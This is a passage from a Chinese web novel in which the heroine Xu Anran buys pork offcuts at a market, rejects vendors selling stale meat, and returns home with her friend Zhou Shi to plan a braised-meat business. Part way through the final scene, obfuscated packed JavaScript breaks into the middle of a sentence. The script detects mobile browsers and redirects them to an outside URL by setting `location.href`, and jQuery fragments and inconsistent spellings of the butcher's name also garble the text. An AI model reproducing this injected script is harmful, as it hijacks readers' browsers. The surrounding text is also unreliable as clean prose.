“小姑娘,又是你。”说话的大哥名叫赵不赖,家中排行老三。一脸横肉,拿着把杀猪刀,看似不好惹,确实个憨厚随和的性格。 “是我呀,今日的肉新鲜吗?”徐安然一边问,一边上手摸了摸。 判断猪肉是否新鲜,光看不行,闻和摸,一样都不可少。 新鲜的猪肉,只会出现轻微的腥,没有其他刺鼻或者异味。 如果是不新鲜的或是变质的猪肉,会不同程度地散发酸臭味、腐臭味或氨水味,靠近闻时气味明显刺鼻。 触摸时,手指按压后快速回弹,肉质紧实不黏手,切面湿润但不渗血水,这样就是新鲜猪肉,变质的猪肉,按压后凹陷不恢复,松软没有弹性,表面发黏或者能拉丝,就代表不新鲜。 所以徐安然在问的时候,就已经确认了,问的目的只是为了试探老板是否诚实。 上一次她在这边买过不少肉,再来也是想看看老板会不会杀熟。 因为这次她要买的肉也不少。如果可以的话,她不介意跟同一家商贩长期合作。 “当然是新鲜的,今早刚宰的新鲜猪肉,这不,猪脑袋还在这边没处理呢。” “猪脑袋?” 徐安然来了兴趣。 “我看看呗。” “啊?”商贩大哥明显有些懵了,猪脑袋很吓人,一般百姓不会买,都是他们这些杀猪的带回去随便对付两口就算了,虽然又肥又腻,但怎么说也是肉,比那些下水好吃多了。 “我想买。”徐安然说,“倒也不是整个猪头都买,我想买猪鼻子和猪耳朵,可以吗?还有猪蹄,我也想买。” 大哥虽然不解,但还是点了点头,“可以是可以,但是这东西从来没人要过……这样吧妹子,你要的话,一起五钱一斤卖给你。” “真的?” “当然。”大哥一锤定音,随即根据徐安然的要求,将她要的部位切割下来,又将没人买的猪蹄一起装好给徐安然,放进她带来的背篓中。 其余的卖肉商贩见此,也纷纷拉拢徐安然。 “妹子,我这儿也有你要猪鼻子和猪耳朵,猪蹄也有。” “也是五钱一斤给我吗?”徐安然问。 “对!” “那成!我要了!大姐们,大哥们,你们还知道哪些商贩有这些玩意儿,我都要,但一定要新鲜,这两天屠宰的,我都收,五钱一斤。” 徐安然话说完,周边的商贩纷纷蠢蠢欲动,因为他们家还真有。 猪鼻子猪耳朵这些部位跟猪下水不同,处理起来并不难,也不需要太多配料。正适合现在家里什么调料都缺的她。 想来也是这位大哥提醒了她,否则还真想不到可以做煮卤肉。 徐安然在菜市中一顿扫荡,她买得开心,商贩们也卖得开心。 期间周时一言不发,默默帮徐安然拿东西。因为除了提东西之外,根本没有他能帮得上忙的了。 “姑娘,你家里人对你真好,出来买菜还给你带护院。”赵不赖一脸认真样,压根看不出一点儿开玩笑的意思。 徐安然没忍住笑出了声。随后悄悄转过头看向周时,发现他并没有生气的样子。 其实别人讲周时当做她的保镖已经不是第一次了,前几日就被书院的学生误解过。 “不是的,他是我朋友。” “噢~我瞧着他一直跟在你身后帮你拿东西,又不说话的,还以为……”赵不赖看着周时,“老弟,你别生气哈。” 周时摇了摇头,依旧不说话。 赵大赖觉着无趣,又跟徐安然聊起天来。 这一聊,徐安然才知道,赵赖在这一带摆摊卖肉已经十几年了,算老商户了,也有些口碑,很多百姓都喜欢到他这儿买肉,称实在,不缺斤少两。 在得知平日极少有人买这些猪头肉和猪蹄时,徐安然心中美极了,已经迫不及待要回家大展拳脚了。 很快,在赵濑的介绍下,她便等来了其他肉商,他们将放在家中的猪头肉和猪蹄全拿了来,在赵大放赖的摊位旁摆着,供徐安然挑选。 他们认为徐安然年轻不会分辨,即使她说过要两天内新鲜的肉,但依旧有想要蒙混过关、抱着侥幸心理的人将一个多星期前的肉拿了过来。并一直撺掇徐安然付钱,更有甚者手都直接放在徐安然的荷包上了。 哪里有这样自助拿钱的,徐安然当下就黑了脸。 但周时比她动作更快,将这些人都推了出去。 看着周时这样护在自己面前,别说,还挺像保镖的。心中的火也消去了大半。 17. 第 17 章 看着眼前几个一直撺掇她买单的商贩,语气十分冷静且话不留余地,“我说过,不新鲜肉我不要,你们都拿回去吧。” “姑娘,我不要五钱一斤,三钱一斤也行。”其中一位中年男子讪笑道。 本以为他这样说话,徐安然脸皮薄,如何都会手下的,结果她更是不带犹豫地回绝。 “免费给我我都不要。”徐安然直接表明了态度,这下其他心存侥幸的商贩都停了动作,有周时在,其他人不敢做得太过分,但是一个个都带着怨气看徐安然。 “什么嘛,我还专门回家拿一趟,现在都不收,我不是白回去了,真是晦气。” 说话的人没有刻意压低声音,徐安然听得真真切切,她刚想反驳,就听见身旁的周时用着不大的嗓门说。 “我们早就强调过,只要两天内现杀的猪肉,并且在你们回家拿时,我们又提醒过一遍,一个个都说保证新鲜,怎么现在还怪起我们了?做生意之前,先学着怎么做人吧。” 周时人往那一站,不说话的时候就已经足够有威慑力了,此话一出,更是让那些有侥幸心理的商贩吓得一激灵。 特别是最先吐槽的中年男子,他知道自己的能力,真要打架,十个他都不是眼前这个大块头的对手,于是悄悄遁入人群中,降低自己的存在感,并在两人不注意的时候低头离开。 徐安然像个被家长护着的孩子,站在周时身后频频点头:“就是就是。我早说过了,是你们自己想贪小便宜。” 徐安然也看到了那个低头离开的中年男子,话就是说给他听的。她今后避免不了还会来这里买菜,能不结仇就不结仇。生意人的规矩,多个朋友,比多个仇人要好。 其他几位想要联合中年男子坑徐安然的商贩们被说得无地自容,有人惭愧离开,但也有人好面子,偏要逞口舌之快。 徐安然不想跟这样的人有过多交集,反正样貌她都记住了,以后不去那边买就是了。 永和镇虽然不大,但是肉商还是很多的,她不愁买不到想要的肉。除非有人成心跟她作对。 在菜市逛了一圈,二人收获颇丰,离开时,很多商贩脸上都是笑容。 除了那几个拿着不新鲜猪肉想要以次充好的商贩们。 时间一晃来到下午,李四已经在城门口等待多时了,李秀敏两姐妹今日来镇上是为了给家里人抓药,所以并没有跟徐安然一起逛街,此刻也已经回到了城门口。 “安然!!” 看到徐安然的身影,李秀莲连忙走到她的身边。虽然有周时帮着提东西,但是徐安然手里的东西也不少,李秀莲主动接过。 像姐姐照顾她那样,照顾徐安然。 她心中感动,认识李秀莲的时间并不长,但是她却能如此真诚地跟自己相处,谁说古人心眼多啊,不要太纯真了。 李秀敏随后来到她身边,也帮着拿东西。 “怎么回来这么晚?是遇到什么事了吗?” 徐安然摇头:“没事,去菜市买了些猪蹄和猪耳朵。我给你们留了几个葱花饼,在背篓里,一会儿上车拿给你们。” “好呀好呀,我馋死了。”李秀莲开心地说。 家里人生病了,她们要去药店抓药,于是早上并没有吃到葱花饼,没想到徐安然还给她们留着了,李秀莲心中感动得不行。 吃的时候更是不带停。 回去的路上,徐安然很安静,她心中琢磨着做卤肉需要用到的调味料。 前两次上山,她没来得及多观察还有什么好玩意儿,所以提前买好了八角和白芷,这两种都是药材,比肉贵多了。但这也是她第一次做卤肉,能不能成,也得试试才知道。 她对自己有信心,也必须有信心,因为食材买了很多,调味料也买了不少。 想到这,她再次抬头看向正在赶牛车的周时。她拍了拍周时的肩膀:“周大哥。” “嗯?”周时微微侧过头。 这是她第一次距离周时那么近,近到连毛孔都看得十分清楚。她连忙往后移了一寸,拉开两人的距离。 以些许恳求的语气:“你明日能不能再带我上山一趟?我想上去看看山里还有没有其他野菜。” 周时不带任何犹豫:“可以。” “谢谢!这段时间你又是帮我打扫老茶馆,又是送我猪肉,又帮我提东西,我实在不知如何感激你,你以后有什么需要帮助的,我能办到的,尽管跟我说。你是我在山亭村结交的第二位朋友。” 徐安然认真的地说。 她很少给人承诺,但是从这几天的相处下来看,她认为周时值得,而且他并不是会趁人之危的人。 “好,我记下了。但我孤身一人,也没什么需要你帮忙的,唯一的一点……”周时拉长了语调。 徐安然瞬间明白:“放心吧,我做的好吃的食物,一定会留你一份。” 她不值不觉间对周时的看法也在发生着变化,一开始她只是想要周时到她店里帮忙,当她店里的一个伙计,但是现在徐安然觉得,周时当伙计实在太大材小用了,他值得更重要的活! 周时窃喜:“好,我信你。” 车上另外三人都在小寐,都没听到二人的对话。 睡眠是会传染的,很快,徐安然也有些困了,她将头靠在车头的木板上。周时见状,甚至放慢了速度。 不同于早晨,傍晚的阳光暖洋洋的,因此很好睡。 苏清早就已经在村口等待徐安然很久了,因为今天牛车的速度慢了许多,直到夕阳褪去,才见到牛车的身影,连忙迎上去。 徐安然这会儿已经醒了,她见到苏清的身影,不知为何,心中有些感慨。 小时候上学时,总是心中想象,那些有妈妈来接放学的感觉是怎么样的。但从来都是奢望。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096114|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>没想到,现在苏清弥补了她这个遗憾。原来,有父母来接的小孩,这么幸福。 “娘~”她甜甜地叫了一声。 苏清突然觉得,此刻的徐安然给她的感觉和平日很不一样,多了点……孩子气。 “哎~”她喜欢看到孩子这样,她的女儿本该这样活泼可爱才对,“累不累?将东西给娘,娘给你煮了一个鸡蛋。”说完,将还带着温度的鸡蛋放在徐安然手心,接着拿过她手中的摆摊工具。 周时默默地下车,将徐安然放在车上的其他东西一并拿了下来,本想要一起拿进屋,却被徐安然拒绝了。 “周大哥,不用帮忙了,快些将两位姐姐送回去吧,天快黑了。”从她家到李秀敏两姐妹家,还需要一点路程,两人都是女孩,家里人更会担忧。 “那好,明日卯时,我在山下等你,我们准时上山。” “行。” 告别了几人,徐安然跟着苏清一起进了屋。 她的腿已经好得差不多了,苏清也不再制止她上山。 事实是她犟不过徐安然,好在,有周时陪同,她更能放心。 待人走后,苏清忍不住八卦,“周家小子对你不错,你对他有没有……” “娘!”徐安然站直,眼睛圆溜溜地看着苏清,“你可别在周大哥面前说这种话,我们俩就是普通的朋友关系,他能带我上山,我也会给他报酬,仅此而已。” “娘还什么都没说呢,你这孩子,怎么这么激动?” 徐安然脸有些烫,支支吾吾地说:“有……有吗?” “你说呢!” 她不想再继续这个话题,连忙给苏清看自己这一次去镇上的战绩。 首先是卖酸笋的钱,除了人力之外,成本只有二两盐,算它五十文。今日她带了十斤酸笋,一斤二十文钱,净赚一百五十文。再加上五日前的三十文,一共是一百八十文,酸笋比较重,这个利润,她不是很满意,定价还是低了,还没二两瘦肉贵。 一开始真的没想到大家对酸笋的接受程度这么高。看来……明天还可以再挖一些笋下山,反正罐子放着也是放着,不如拿来放酸笋。 等下次再去镇上的时候,她就可以带苏清去镇上看病了。 虽然不懂医术,但在现代见过大大小小的病,苏清这个常年咳嗽,吹不了冷风的毛病,多半是肺痨。肺痨其实有根治的法子,只不过药材比较贵,所以这么多年,苏清一直拖着,拖到最后,拖成了一副病怏怏的躯体。 “对了!”徐安然从背篓里拿出今日在聚福楼打包的烤鸭子,“这是周……这是我今日在酒楼买的烤鸭子,娘,你拿去厨房热一热,今晚我们的晚饭就吃这个。” 鉴于苏清胡乱揣测她和周时的关系,想了想还是隐瞒了周时请她吃饭这件事。 热菜不是什么难事,苏清能搞定,她现在要去料理一下院子左边的菜地。